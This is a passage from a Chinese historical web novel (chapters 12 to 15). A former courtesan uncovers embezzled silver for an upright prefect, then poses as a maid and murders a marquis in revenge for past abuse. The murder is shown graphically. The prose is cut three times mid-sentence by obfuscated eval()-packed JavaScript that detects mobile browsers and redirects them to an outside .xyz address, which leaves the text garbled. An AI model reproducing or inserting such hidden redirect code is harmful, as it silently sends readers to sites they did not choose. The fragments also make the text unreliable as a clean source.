“你怎么确定李员外的外室会帮你?”红花问。 柳茸点着唇,“我叫李员外府上的家伎朝她递过话。” “那些家伎听你的?” “因为我知道她们最恨谁。” 红花听不懂,不过她还有疑问,柳茸如何就确定帑银被李员外藏在外宅? 不怕扑一场空? 柳茸当然知晓,毕竟自己倒下的那场饥荒里,崔元已死,益州的土皇帝们再不用避忌,天时地利人和下,一改藏头露尾的胆小慎微,大肆抬高粮价,正大光明敛财,争相斗富。 哪怕那时帑银在谁手上已众人皆知也奈何不了,无人敢状告,民不举,官不纠。 红花没想那么多,拿到人就行,“这下你可以向阿脏交差了。” 人证,物证具在,柳茸将人交至官衙,特意叮嘱看好李员外,不要让人死了。 益州不可能只有一个“李员外”,如果自己是他们中的一员,此时想得必是如何灭口被揪出来的人,以免那个看不懂眼色的刺史套出更多机密。 近日府里常薰的四弃香淡了,佛寺香越来越浓。 崔元开始朝寺庙里去,今晨更是天不亮去往了寺庙敬香。 柳茸在官署看见他时才缓缓意识到,这两日府里似乎看不见他的身影,亦或是说,他有意回避。 来到官署后也是,崔元偏开一侧,与自己擦肩,腰上飘带都未曾拂到彼此。 如此也好,自己前两日夜里找他,被他敲了记警钟。 “阿脏!”红花喊了声,崔元回过身,敛神颔首,一眼没多分给柳茸。 “我看他干脆头上点九个戒疤,去深山老林里当修行僧算了。”红花啧啧,一个人的脸怎会那么冷。 身旁的柳茸笑,“崔刺史还是人好的。” 霜白的人影步履不迫地行远,貌似并未听见背后的议论。 李员外被捕,柳茸写了份禀帖禀明抓人的来龙去脉以及在坟里的帑银还需调波人手。 写毕,拿去崔元书房,书房门锁着,人不在,走至崔元卧房,也无人。 柳茸推门,木门纹丝不动。 门被封死了。 12. 妄念 “柳姑娘?”刘管事路过,“大人已经搬走了。” “搬走了?”柳茸微微错愕,并无人来知会自己。 “昨儿搬的,大人如今卧在东厢房,姑娘要老朽带路吗?” 柳茸道了声不必,放缓步履折返书房,将禀帖一头塞入一头外露地卡在门缝里,提裙离去。 几日后,柳茸又往官署里押来一匹被查出贪墨帑银的官吏。 这群人不会知是何处漏了风声,一如他们不会也不屑于知晓家伎们私底也有自己的小圈。 直至沉甸甸的帑银放在眼前。 贪墨的帑银大多已转成首饰、地契,或被吃穿用度掉,但官吏们也知横财难留,给自己留了底,不料成催命符。 将人一一交由府衙收监后,柳茸取出盛着珠玉的匣子,托叱罗红花换了些药材,分送尚在其余官吏宅内的家伎。 “你给药给她们做甚?还有,为何不能告诉阿脏?”红花不解。 “公子是至清之人。”柳茸道。 红花玩着刀,“那不是很好吗?” “他不会容我行此事。” 至清则无鱼,至白则不容尘。 她是个酸辣不忌的,哪个手段管用就用哪个,但崔元不是,清正门庭里磨出的直板一块,自己眼中无伤大雅的手段于他恐是不能接受的赂赠。 柳茸这般想着,合上空了的匣子。 又一个官吏被她带回官署,那官吏抬头看了柳茸良久,面色讶然。 “我、我认出你了,我认出你了……”他抖着嗓子,“你是留春台上的琴姑!” 官署里的人面露怔色,却又无一人敢大声说,有人站出掴了此人一掌。 早在他认出柳茸之前,柳茸强忍着吐的欲望认出了这张面皮——他是杜父极要好的同僚,把酒言欢间互赠歌妓。 前世被赠的,是一个叫柳茸的。 吃了一记掌掴,那人啐掉碎牙,恼极反笑,“苍天真是派了个好官来我益州,好好的刺史府做成勾栏院!让个伎子来当差!” “杨县丞。”柳茸念出他的官职,杨县丞恨恨抬脖,红眼盯着眼前榴红的女子不语。 “县丞羞辱我,我认。”她语调平缓,“我做过什么,当过什么,从没想过隐瞒,我知错,但请不要污蔑大人。” 说完,她含笑瞥了眼古柏下差一步走出来的白色衣角。 垂荡风中的白色衣角在听见自己接话时定住了。 “我是如何进府的,我比谁都清楚。我是用我的双腿,走进去的。” 柳茸转开眼继续俯身,与押在地上的人齐平,绽开一抹笑,“县丞去留春台,是想听奴弹曲吗?” 古柏下枯枝轻响。 突来的旖旎香风透出女子薄肌,隐约带着体温,杨县丞心坠然一荡,忘了要出口的话,片刻拉回神志,“你们听到了吗!你们听到了吗?!” 无一人应和。 只有红花问了句,“你弹琴好听吗?” 柳茸:“略通音律罢了。” “我听听,我一个人弹琵琶无趣死了!”红花道。 杨县丞被带走,莲花池畔,响起泠泠琴音,如洞穴湿雨,淅沥萧然,莲池水波随弦音相映。 柳茸闭着眼,感受着弦丝在指间颤|动。 这是她练了许多年的本领,能靠自己的技艺混饭吃,她很自豪。 但在勾栏院,她碰不到一个欣赏的目光,都是混着酒气炽热迷醉的情欲,仿佛她在做一件极不体面却讨人喜欢的勾引。 可柳茸觉得,乐器就是乐器,不该贴上任何良贱褒贬。 时间久到仿佛空无一物,一曲终,周遭安静着。 柳茸沉浸在音律中等待酒客的喝彩,觉察四下无声,身处留春台上的幻视一扫而空,她睁开眼,见红花拍着刀,“好听。” 而身后古柏下,白衣静谧地将一切尽收眼底。 柳茸把秦琴收好送回琴房,经过游廊下,一堵白墙挡面而来,她颤身退了几步,待定住一看,哪里是白墙。 “公子。” “有事同你说。”他推开一间茶房,泡开一壶茶,茶香席卷,褐黄的茶汤被淋在茶宠上,一圈又一圈。雾气缭绕后,茶盘似一座小山被云岫包围,水液滴声空灵。 “听人说你来找我。”崔元放下茶夹,一折禀帖被他慢慢推至案前,封页的中心有稍许被夹的折痕,“为什么不让管事带你过来?” “府里有变动不会无人告知,若无人告知我,想来是公子必有公子的缘故,又或是不愿柳茸常来,我岂敢擅作叨扰。” 崔元侧着眼,视线边缘是女子乌云般的青髻,挡住她半面眉眼,看不见表情,唯有发间的桂油香扑鼻。 话全说尽了,好不贴心。 那夜她留在指尖残留的余温宛若错觉,崔元听出话中的生疏客套之意,却是呷茶不语。 茶有点涩,他淡漠地灌入喉。 少顷,他翻开禀帖,指尖停留处是被抓的官吏名,“本想同他们斡旋一下,你倒是手段干脆。” “柳茸知错。”她蔻指轻揖,正要认错,一只清曜的手伸来,稳稳扶住她低下的肩。 “够了。”崔元双眉拧着,并不和颜悦色,“不是真心知错就没必要向人认错,我不想受。” 这番话不止是在点她,更是在点方才她对杨县丞说的话。 “想做什么就去做,不必有顾忌,”茶水沸了,崔元侧过脸,提了一下壶盖,“你只剩五日了。” 柳茸心谙,会心一笑,“知道了。” 在退至门边时,他叫住她。 “你对杨县丞说的话……” 柳茸眼尾一狭,柏树底下的果然是个人。 “哪句话?”她笑意猗猗。 一声叹气后,白衣的公子摆手,“没事了,去做事罢。” 城东大慈寺,香火延绵四代,青灯红鱼诵经声远,暮鼓响时,打着降魔坐的金刚像腿边,映出一抹跨入庙的霜白。 “郎君今夜也来上香吗?” “上。”崔元交了香钱,合十敬拜,脑中人声如经纶流转,流转的却不是佛经。 是官署中女子的声音。 她说她做过什么,当过什么,从没想过隐瞒,她知错,但勿污蔑他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763445|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不喜,一如被人架在高台,架在空荡欲坠的天际。她故意的,如若给自己听见最妙,旁人听不出,他却会意话底邀功的含义。 可他听后,丝毫没有快意,只觉泛起一阵阵心酸和郁烦。 怎会有人如此甘愿自作下贱,他抵触,若换作过去的他,定觉此人无可救药。 接触她后才明了,那是她混了多年酿出的一条生存之道,或许也是很多人的生存之道,她也是从别人身上学的。她根本不觉得自己卑如尘土,却要卑如尘土地活下去。 勾栏院习得的手段么竟与庙堂上对着皇帝拍马的官员如出一辙。都在说着违心话,干着违心事,还专挑自己。 若不是叱罗红花,自己无缘得听她琴音。她的琴音,至少比那晚她搭在自己手背上的掌心要有温度地多。 那一晚,他持着贝勒书走到井边念到天翻起鱼肚白,水风幽动,似女子指节轻响。 思来想去,竟觉自己像个杼机,被她刻意牵拉,推远又推近。 她的把戏他洞若观火,却莫名容忍。每次意欲拒绝,初见时她一身榴裙冲撞车马的场景又浮现眼前,车帘有限的视辐外,她眉如墨扫。 心力交驰的脱缰感顺着朱蓝血管蔓延。 “施主有心事。”老禅师双目清癯。 “我救不了人。”崔元的神情稍显挫败,“我救得了她的身,救不了她的心。” 崔元听了数年佛经,说世人皆苦,众生皆苦,大了在田里为一根青绿的麦芽苦得发愁,可她的苦,似乎任何灵丹妙药都无解。 即使到了崔府,柳茸的言行也没改几分,依旧用过去应付那群俗人的手段应付着他,被人和喝花酒的人摆在一列,什么好心情都没了。 禅师笑而不言,念珠转过一轮,“施主动了妄念。” 崔元打把伞,转开月光,径自离去了。 一连几日,他观察着柳茸在官署里抓人的做派,像一个人。为官多年,同僚身上有无旁人的手笔、师从谁人门下,熟了便能蛊出一二。 而他从中那副壳子里,窥见了一个与自己很像的影子。 崔元想不出和自己相似的人有谁? “她过去除了杜攸之,没有别的客人?”崔元翻着手下带回的留春台账目,上面记着各个伎子接客的记录。 “之前有一个,当夜便死了。”手下指着一行字:点大蜡烛,一千两。 崔元:“点蜡烛?” “就是女子□□,那天得点大红灯笼,故名……” 崔元顷刻制止手下,不想听。眼睛落在墨字后明晃晃的数字上,一千两。 那是一个人,在被明码标价。 “接客的女子……分得到这笔钱么?” 问完没听到应答,见手下难掩尴尬,他明了。 红日初升,崔元下了楼,蜀天如碧,府兵训练的校场里,有一队府兵回府,其中一人是乘着一位女兵的马下来的。 她今日换了身不一样的衣服,不再是榴花裙子,肩上挂着红色的异域披风,沾满晨露,如晶钻点缀,闪着细碎华光。 晨风中,朝阳迎着她的轮廓升起。 13. 暮雨 期限还剩三日。 料理了一圈事,柳茸匍在桌案枕腕小憩,肩背无端一重,暮雨泥芳被若有似无的青禾香掩盖。 宽大的宝蓝披风罩住暮雨带来的湿冷,她从一片沉重中窜出手,一把轻捏住披风上堪堪离去的五指,惺忪恬然地侧过半张颜。 “公子。” “你装睡?”抖开披风的手留在半空。 “三日。”柳茸缱绻屈起指头比划着,“还剩三日,三日之后,公子要给我脱籍。” 她撇开身上披风,盈盈一绕,系到了原主人肩上。 灯照着女子濡鸦色的鬓发。崔元脑中又响起手下的一声“点大蜡烛”,会有一个素未谋面的男人挑开她的盖头,行云覆雨,那一千两,一分也不是她的。 那个男人是什么样的?他忽然很想知道。 一道微渺的期待在心底发芽,那个男人最好什么都没做成,躺下即死,速速升天。 但……怎么可能什么都没做。她如今的一颦一笑,一举一动,像碎成千万片的琉璃镜,不时有一面反光出过往留下的烙印。 头顶投下的目光柳茸不曾留心,更没留意到自己专心系着披风,而披风上那颗脑袋里想的是留春台账册上的几行墨字。 一千两,思及此,崔元想到了流浪时在屠店里被挂着叫卖的人肉,胃里翻江倒海。 “阿茸。” 头顶的人忽然出声,柳茸一吓,仰头等着他接下一句。 “我已名辖下县衙彻查各处花楼,封了六处。” 两道沉水般的目光扫着她的双颊,内敛深缓,试图在秀丽的五官上攫获着细微的神色变化。 须臾,柳茸应了声,“公子行事,自然令人放心。” 待人走后,崔元扶案缓缓落座。 自己在干什么,自己竟然近乎述职请赏般地在向她说事,颇带一丝讨好的恳切。 当她抬眸望来时,暗暗含着的期待破土而出,在期待什么,期待她听后如何回话?或错愕?或赞耀?自己也说不出个所以然来。 虽然此番行事不全然是为柳茸,他意欲清缴本地官僚的靡靡风气有段时日了,但无疑柳茸催速了未提上日程的计划。 再者,冥冥之中似有声在说做的这些事告知于她比较好,他想,她是乐见的。 崔元抽开案下柜格,检查一番后发现多了一封禀帖,应当是柳茸离去前写的,墨迹粘连着。 入夜雨小了,柳茸见到一人穿廊而来,手中怀着禀帖。 “禀帖有些错处,来与你说。”崔元道。 柳茸:“?” 她的禀帖都是偷师他前世学来的,算起来还比如今的他老练几年,她与那时的他磨合久了,最清楚如何下笔挑不出错来,何处有纰漏? 不过有人不要钱来授业哪有拒绝之理。 想完敞开门,崔元移步案前,正襟端坐,然而只是挑了几处无关痛痒的小毛病,并无太大指摘。倒是明里暗里听出一股隐隐比较之意。 他在忮忌,忮忌禀帖里那个模糊神秘、透过禀帖现身的人,那个与自己七八分相似的人。 柳茸顺着意思改了聊聊几笔,雾水满头,莫非比之几年后,他更满意此时的他?前世在益州公干的几年不进反退了? 唯有一处,崔元不是挑错。 是窥不透手笔——柳茸算帑银的法子。不是常见的算法,也不像由筹算延伸而来,算得准确无误,连偷瞒的用量也验了出来。 “这法子可是有人教你?”他清透的指尖扣了扣纸页。 “家母。” 他从未听她说过她的家人,旋即想,她被卖入勾栏院前,应当是有家人的。她说过,她没有家了。 “令尊学过算法?” 柳茸顿后一笑,“说来不怕公子笑话,家父和家母大字不识一个,但很会种田,小时候我贪玩,阿爹种田时,阿娘就用捆麦子的绳打结教我数麦子。” 那根绳子是柳茸小时候为数不多的玩伴。 崔元挑眉望了眼,女子静谧安详的面庞,在鲜艳的红荔衣裳衬托下,凝润,美丽,过去的伤痛不留痕迹,看不见影踪。 “令尊令堂是个很聪明的人。”灯火将他的神色烤得柔了些,“你应当很像他们。” “这如何说?” “把女儿生得……”他不继续说了,“什么时辰了?” “亥时二刻了。”柳茸狡黠地敲敲桌,吹灭一盏烛台。 亥时,不熄灯也得熄灯了,府里的主人崔元定的规矩。若是书房定然不设限,但这里是女子闺房。 于礼不合。 崔元道了句失礼,批身入夜色。 禀帖被他重新放入书房柜格,落了锁。 书房的灯又燃了一会儿,挨着禀帖被放入柜格之中的,是一封拟好的脱籍奏表。 这些时日柳茸缉缴的贪墨数额已够得上因功特赦,他不夸大一分,也不少一分,如实上报。 明朝还要陪瓜二种地。 农人很聪明,远比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763446|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃他们粮的佃主聪明,在柳茸身上,他再次印证了这点。 第一次印证是在宗祠学堂的早课上,那时功课最好的是位旁枝的书童,佃农卖掉的孩子。 崔元视之为对手,没过一年书童不来了,说是家里闹饥荒,书童恰好回乡探亲。 不久,他在屠店看到了那只自己心心念念想赢过的手。 田里死了人,他迷上了种田,五谷多长些,人就少死些。 什么佛经什么宝塔也救不了青苗不长的旱田。 他早不信佛了。 其实一开始也没信过,在佛寺长大,拜师佛门,尊师命流浪苦修,只悟出一个道理:天地无佛,天地无神。什么佛陀神明、道门仙风的,不如做官种地来的实在。 只是赞同部分佛理,偶尔会去寺庙里与老僧悟法,通明心眼。 但是今夜,如同过去的数夜,案台的般若心经不再积灰,在他手上来来去去渡了几回,唇齿间翻来覆去念了几遭。 上书一行话:“色不异空,空不异色,色即是空,空即是色。” 念烂了的话。七岁他就学过了。 东方大白,崔元早早将脱籍的请奏书快马送出户部和辖下县衙。 “大人,户部的人带话了,请大人一聚。”刘管事通报。 “这么快?”长安距离益州天遥地远,三日之内不可能收到信。 除非,有人在附近,还是个能收信处理事的人。 “户部的大人说,大人给柳姑娘销籍可以,但是给柳姑娘请封校书,这怕是……”刘管事面露尬色。 说起柳茸,崔元想起今日是第三日,最后一日了。 照理她该交新的禀帖,然而崔元往书阁翻找了一遍,空的。 也没见她踪影。 他一个侧头,白净的神容晦暗,“这几日怎么没见她?” 今日第三日,府内出奇静。 “柳姑娘和叱罗姑娘去办差了。” “你陪着她瞒我,刘叔。”崔元步步逼来。 “不敢……”刘管事很少听他长大后叫刘叔了,这一叫,显得自己胳膊肘外拐。 “她去哪了?” 见瞒不住,刘管事意有所指地望向一家糖铺的方向。 崔元记得那个方向,入伏前柳茸曾那条街险些昏厥, 现在回想起来,她的身子很弱,眼中的波海翻腾却未减分毫,眼神死死勾着一坐建筑。 他记得是一座宅邸,主人姓贾,是个侯爷。 14. 贾府 贾府又死了侍女。 担子悄悄从府邸抬出,白布下是一具满身抓痕的身躯。 柳茸拨着琴弦,静听侯府的管事拿钱打发前来认尸的妇人,隐约听见零碎几句:病死的、入府前便染了脏病。 尸驱上的抓痕因着疫病有了合理的说辞。 但一切与她无关,作为新充入府的侍女“阿容”,她的眼至远只能望到管事姑姑头上的珠翠。 她是“阿容”,府上新来的侍女。 再次踏入这座金笼,朱碧的飞檐翘角像两排碾碎人的利齿,恐惧裹挟着过去的记忆淹没了柳茸。 有那么一刻,腿若冰冻,寸步难行,吸入肺间的风都是疼的。 她强忍着渗入骨血的痉挛,迈开第一步。天地青黑了一瞬,只一瞬,柳茸咬破唇强令自己清醒,指梢开始回暖,如潮汐回落。 成功克服那头名为恐惧的巨兽后,心底竟出奇宁静,待踏出第二步,万念皆无,只剩下凝视目标的平淡从容。 唇破处有血,柳茸当口脂抹开,装饰上一层韬晦乌红。 今日有贵客,侯府外起了动静。 管事疑惑怎么来得这么早,开门,一台眼熟的白马车架摆在府门前。 崔元一如上一世初见时立在贾府檐下。 光影错落,两世身影重叠,分不清时空。 柳茸稍稍愕然,装作没瞧见继续弹琴。 “公子是……” “益州刺史,崔元。” 管事煞白着脸领人进府,忍不住嘟哝,“不是说来的是秘书郎么……” 贾侯爷见到来的是崔元具是一怔,忙请至宴宾台招待。 贾府在前前朝门楣还算显贵,沾点皇亲国戚的边。可惜时移世易,两次改朝换代,皇亲变余孽,最后变庶人。 大梁开国为显本朝宽仁、承袭正统,挑了最不成气候的一支,象征性封了个爵,不予任何实权。 一个没有实权的落魄侯府,平日里做客的多是些文人散客,今日到的却是个官拜从三品刺史的士族子弟,贾侯爷惊异之余心花怒放,命人斟酒。 倒酒的侍女是柳茸。 崔元闭着唇,迟迟未饮。 贾侯爷呵斥着小事都做不好,令柳茸退下反省。 碎步退出醇香满座的宴宾台,柳茸假意去领罚,半路一拐,熟门熟路摸到了贾侯爷的书楼。 书案底下一番好找,柳茸摁到一处不起眼的暗格,正要探入,五根手指把住她的手腕。 崔元将人拉到僻静处,确保周遭无人才道;“你到底想做什么?” “之前私藏帑银的官宅中翻出了运输赃物的证据,公子猜上面写着是谁给益州各路县官当的这个镖师?” 柳茸说罢看了眼朱红碧绿的屋檐。 崔元没有放开她手的意思,“若贾侯与贪墨案有染,要缉拿可直接带兵抄围。” 可是柳茸走了最不稳妥的一条路。 他的眸底微冷,“你潜入他府中是为了什么?” “千金之子,不死于市。”扯谎已经失效,柳茸直明了当,“若仅是缉拿,贾侯不会死。” 扼在自己腕间的手终于松动了。 崔元疑怔片刻,低沉地而幽邃地吐出四个字。 “你要他死?” “我只想给他些教训。至多是让他失去点……东西,再无残害无辜女子的能力。” 柳茸翩然一笑。 “你要他死。”崔元复述了遍,这次是个完完全全不带半点揣测的口吻。 他的眉目凝重下来。 只因他看见了,看见那双眼,露出了与来找自己毛遂自荐那晚、叹着“唯愿早脱乐籍……”那句话时,相同的眼神。 ——那样明艳、灼人、红玉状的眸色,他太熟悉她眼底的后调,是欲望与执着在焚烧。 贾府,大鱼,肉香,她亲自来了。 “回去罢。”崔元闭眸,缓和着过度紧张的眉间。 “回去罢。我已替写好脱籍帖,就算贾府事不成也不影响你脱籍,你不必以身试险。” “我知道。”柳茸凝伫。 “公子,也许最初我要的是脱籍,可当贪墨案牵扯贾侯,我想,我是不是可以再多要些?” “你与贾侯有旧?”崔元从未听过她与贾侯有仇隙,贾侯爷也没有到过岭南。 “不曾。” “私探书楼若被贾侯发现有异,届时排查阖府上下你可知后果?” 柳茸点头,“我叫红花埋伏在了府外,她入夜会来查看我的安危,不会有事的。” 崔元一恍神,笑了,“你用崔氏的府兵干这种事?” “公子是依法理的人。”柳茸略带歉意,“但我不是。” “我日后会回府请罪,依凭你处置,可眼下我若放任他,他会继续害死无数人。” 这样难等一回的好时机,她不想错过。 崔元缓缓摇首,眼中染上痛意,“你说贾侯害人,你找到证据了吗?” “有。”柳茸的犹豫微不可查。 “阿茸,你在说假话。” “他究竟对你做了什么?你说出来,我亲手找出罪证定其罪。” 柳茸苦笑。 怎么说?说是前世结怨?官府卷宗肯接纳如此荒诞不经的说辞? “你早就定过了。” 崔元不明所以。 柳茸垂下眉,低笑,“公子,你知道吗,等你们官府的人动身真的很难,太难了,许多的姊妹都熬不到你们来的时候。等你们定刑问斩时,受苦之人已死得干净了。” 风中刮过沉默。 要找罪证不容易,时间是磨灭一切的最好帮凶,她知道此事怪不了崔元,前世五子夺位的离乱中,益州能守住一方安稳,与他法度严明、不疑罪重判脱不开干系。 然而事事两刃剑。 没有一宗冤假错案,也即意味着若非十成十的罪证,崔元不会断刑,受苦之人见到曙光之日又要迟一些。 “无凭无据,你不能杀。”崔元想碰她,但在指尖在触及她胳膊前一刻,堪堪收回,“我会派人严查,若他有真杀了人,当即治罪。” “他死不了的,会有人劫狱救他的。” “何人?” “我不知。”这回柳茸说的是实话。 是以她不能错失良机。 “我要他被押入官衙前……”杀了他。 后三个字柳茸没说出口。 错落的脚步声由远及近,二人霎时静了。 侯府管事正领两列侍女盛着酒醴朝宴宾台走去,见偏僻角落里一袭霜白的背影,白衣身后一抹女子衣袖忽隐忽现,当下心领神会。 “大人,”管事压低声,“可需要了事帕?” “不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771039|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。” 崔元寒着面容走出。 再回宴宾台,案上多了一个人,是今日说好造访的秘书郎,戴着青幔做的幂离,整个人罩进一层青蓝里。 贾侯爷张罗着要给二人作介绍,崔元道:“崔某认识的。” “王某也认识的。”幂离里传出带笑意的声音。 柳茸被派上前斟酒,他只取入幂离中饮。 “多谢。”一阵奇异清香。 酒过三巡,贾侯爷见崔元一直盯着为秘书郎斟酒的女子,满身酒气凑近。 崔元蹙眉。 “在下府中家姬如何?”他岁数大,带着过来人的笑拍拍崔元,露出一个看穿诸事的眼神。 “大人看此女,虽说入府不久,但姿容……”贾侯爷口中啧啧。 崔元放下杯盏。 贾侯爷以为他是心动了,笑意更是可意会不可言传。 刚刚管事已报了中途撞见的事,贾侯爷一颗心彻底放进肚子里。 都是男子,任外界传的再清的官,也不能免俗,看来传闻中的崔大人和普通的士族子弟无异,不过是人前做样子,钱财可通,美人可贿。 贾侯借着酒劲抒发上来,“大人若用得满意,在下可转赠大人,聊表心意。” 刺耳的脆响,酒淋到了贾侯爷头上,案上被掀得狼藉满地。 侍女家仆吓得失色。 “明日,我会派人查抄尔府。” 崔元摔杯而去。 “什么狗官!还敢查抄我的府?”入夜,宴席散闭,贾侯爷越想越气,在卧房咒骂。 一会儿如今的后生无礼至极,一会儿博陵崔氏了不起吗云云。 更衣的家仆低头退下,贾侯爷骂到咳嗽,遂坐到榻边缓气,“人都死了?今夜侍候的婢女呢?!” 珠帘声动,琉璃门开了。 是柳茸,半掩着门,“今夜我陪您。” 贾侯爷见美人如玉,又是柳茸,欲|念大起,取出床头铁鞭,“冤有头,债有主,今日就拿你来。” 柳茸脸上流露出莫测的笑:“自然是我,谁教冤有头,债有主呢。” 色迷心窍的老人没功夫管她言下之意,更没功夫注意到,门边守夜人的身躯在软绵绵倒下。 直到刀子长驱直入,脖子一凉,一洌温热的“梅花枝”飞溅床帷。 “侯爷给我跳舞如何?跳得好我就放了侯爷。” 柳茸故意放人匍匐一段距离,他断了嗓子,说不出话,喊不出声,被人重新拽回。 “侯爷,你还记得除了鞭|打你最喜欢什么吗?” “你最喜欢看家伎们跳舞,打趣说谁跳得好了放谁脱贱籍,然后骂我们一个字。” ——“贱。为一点饵就放下颜面,你们,生来伎子的命。” 前世的辱骂嗤笑宛如在耳。 柳茸甩净刀上血,对准心口补下一刀,“贱。” * 崔元闯入卧房时,糜烂的血腥呛入口鼻。 他掩袖走近,看着床榻上安静卧刀的女子。 血溅在她脸颊,她在笑。 他人的血污淌在她脸上,反添一分惊心动魄的凄艳。 很美。 崔元眼中的惊艳落了下去,“来人。” 一队官兵冲入。 他的声音冷如寒冰,“乐伎柳氏,行刺雍熙侯,押下去。” 15. 争议 冰冷的声音落下。 与在公堂上听过无数次的一样铁面无私,唯一的变数大抵是以往,柳茸同坐在堂侧议罪辨诬,而此刻她是堂下被审的罪犯。 指缝里的血黏黏湿湿,柳茸“哐当”放下刀,递出一根铁锈味的铁鞭。 “你要的证据。” 砍人很费力气。 她双目失焦,饿得前胸贴后背,取出一块冷硬的饼馍。 临走前秋姨千叮咛万嘱咐,说着是亲手蒸的,说着加了许多的肉,不许浪费,给自己下了死命令必须吃光。 刚咬上一口,双手被官兵扣住。 饼馍骨碌碌滚到崔元的皂靴旁。 他捡起,拍去饼面上的灰,叹了声气,终究道:“带下去吧。” 情理之中,更是意料之中,柳茸并不意外。 “公子,”柳茸仰起头,眼中全无杀人的悔过,“我的脱籍之请还奏效吗?” “奏效。” 她噙着平淡而从容的笑,“以良民之身下狱,也不错。” 崔元会意,薄冷的唇压抑住呼吸。 “良籍刘氏,未经鞫问行刺疑凶雍熙侯——”他的话音未落,染血的门边响起一道隽雅的声音。 “哎呀,死得好惨。” 禁步声停了,戴着幂篱的男子停在贾侯尸首旁,轻轻弓腰拜了一拜,放下一碟冥钞供果。 “大人,此地不可上供。”官兵出言制止。 幂篱下的人依依侧过头来,隔着薄纱有目光望向柳茸与崔元。 “下官来为雍熙侯上坟,搅扰二位了。” 话中带着和宴宾台上相似的笑意。 柳茸替他斟过酒,犹记得名刺上写着此人的名字:“王十一,从六品秘书郎”。 那时他的幂篱青蓝,而今日他换了个浅淡的颜色,薄纱幔从帽沿垂至脚跟,为周身披上一层朦胧水云。 幂篱里探出一只手,拿回地上供给死人的物什,似危险又诱人的晚香玉,“李管事,劳烦去屋外烧了。” 侯府管事早已被主子的死吓破胆,战战兢兢接过出了卧房。 屋内的气氛凝滞着。 崔元命人撤出屋外,留仵作上门,幂篱下的人纹丝未动,没有退出去的意思。 “王大人要妨碍公事?” 幂篱薄纱轻动,“岂敢呢。下官不过一介从六品秘书郎,途径此地被雍熙侯设宴款待,恰逢主人仙去,感伤无比,特来吊唁罢了。” 听完一段毫无感伤之情的悼念,崔元觑着眼,“秘书郎?” “自然是。”那人晏晏笑了。 崔元按着腰中剑,“官府办案,闲杂人等移步府外。” “这可不成。”幂篱下的声调颇有些苦恼。 “你还有事?” “自然是来迎新任的校书郎啊。”王十一拱手作礼,取出一卷册书。 “我奉太后懿旨,特来册令贵府女郎为校书,说起来,这头衔还是大人请的。” “户部的人不是打回来了吗?” 幂篱懒懒地摇了摇,“先前户部的人不准,我拦住改了回来,不过今日一见,”他目光在柳茸与崔元间游移一眼,唉了声,“人情似乎卖错日子了啊。” “不知崔大人……不对,是姑娘,”王十一刹住,目光转向柳茸,“是否愿意接受此奉册书?” 他在问自己。 然而柳茸没有手去接,幂篱摆正脑袋看向崔元。 “放人。”崔元摆手,钳制柳茸手间的力量一松。 柳茸跪在地上,伸起手,触碰到绵滑的丝帛,稳当当握住属于自己的册书。 “多谢王爷。” 王十一怔愣片刻,轻笑出声,周遭的官兵已经跪了下来,以亲王礼行之。 先帝大行,朝中留下一位八岁的太后。 八岁,再天人聪慧也无法自主下达一场册令,但是,有人在她身后。能直接接触后宫宫闱、又能将手伸向朝堂的人。 王十一,王,十一。 幂篱下的人低垂眼眸,被揣测身份,并无任何动怒,“校书大人言重了。” 明明是正常的话,从他口中念出,习惯性地温存含情。 听见旁人称呼自己为大人时,柳茸还没反应过来,一瞬间,生疏又异样的流过心田。 她忽然……很好奇自己的官印是什么样的。 自己会有鱼符吗? “校书郎的鱼符已在筹制之中。”王十一开口,“毕竟是女子鱼符,总归造个新的更吉利。” 闻言,柳茸与那双藏在幂篱里的眼睛交锋一瞬,彼此按下不表。 确认了,这个男人,是只狐狸。 她起身,向着背对自己的崔元:“大人,多谢。” 那人身形微顿,始终没能转过头来,“谢我做甚?” “替我请封。” “那是你自己的功劳。”若她能力不逮,也不会得来请封。 “走了。”崔元走出卧房,官兵里外封住贾府,带走家丁,查封书楼。 太后懿旨册封校书,同时也是特赦,围在柳茸四面的官兵撤走,一片暗香幽幽的幂篱贴了过来。 “校书郎与秘书郎分掌兰台及各地典籍,”他声若缠丝,“那……日后你我便是同僚了。” “王爷真是秘书郎?”柳茸回眸。 “可以现在当啊。” 他走到贾侯爷的尸身前,取走一把精贵折扇,“即如此,此物归我,至于地上的刀,便归姑娘如何?” “不能给她。”崔元立在门边,沉着脸,身后跟着仵作。 “嗯?真巧,崔刺史怎么回来了?不是在查案吗?”幂篱里的人摊开折扇。 “这把刀是凶器。”崔元拿过刀,官兵正押着一群家伎走过门外。 柳茸道:“崔元!” 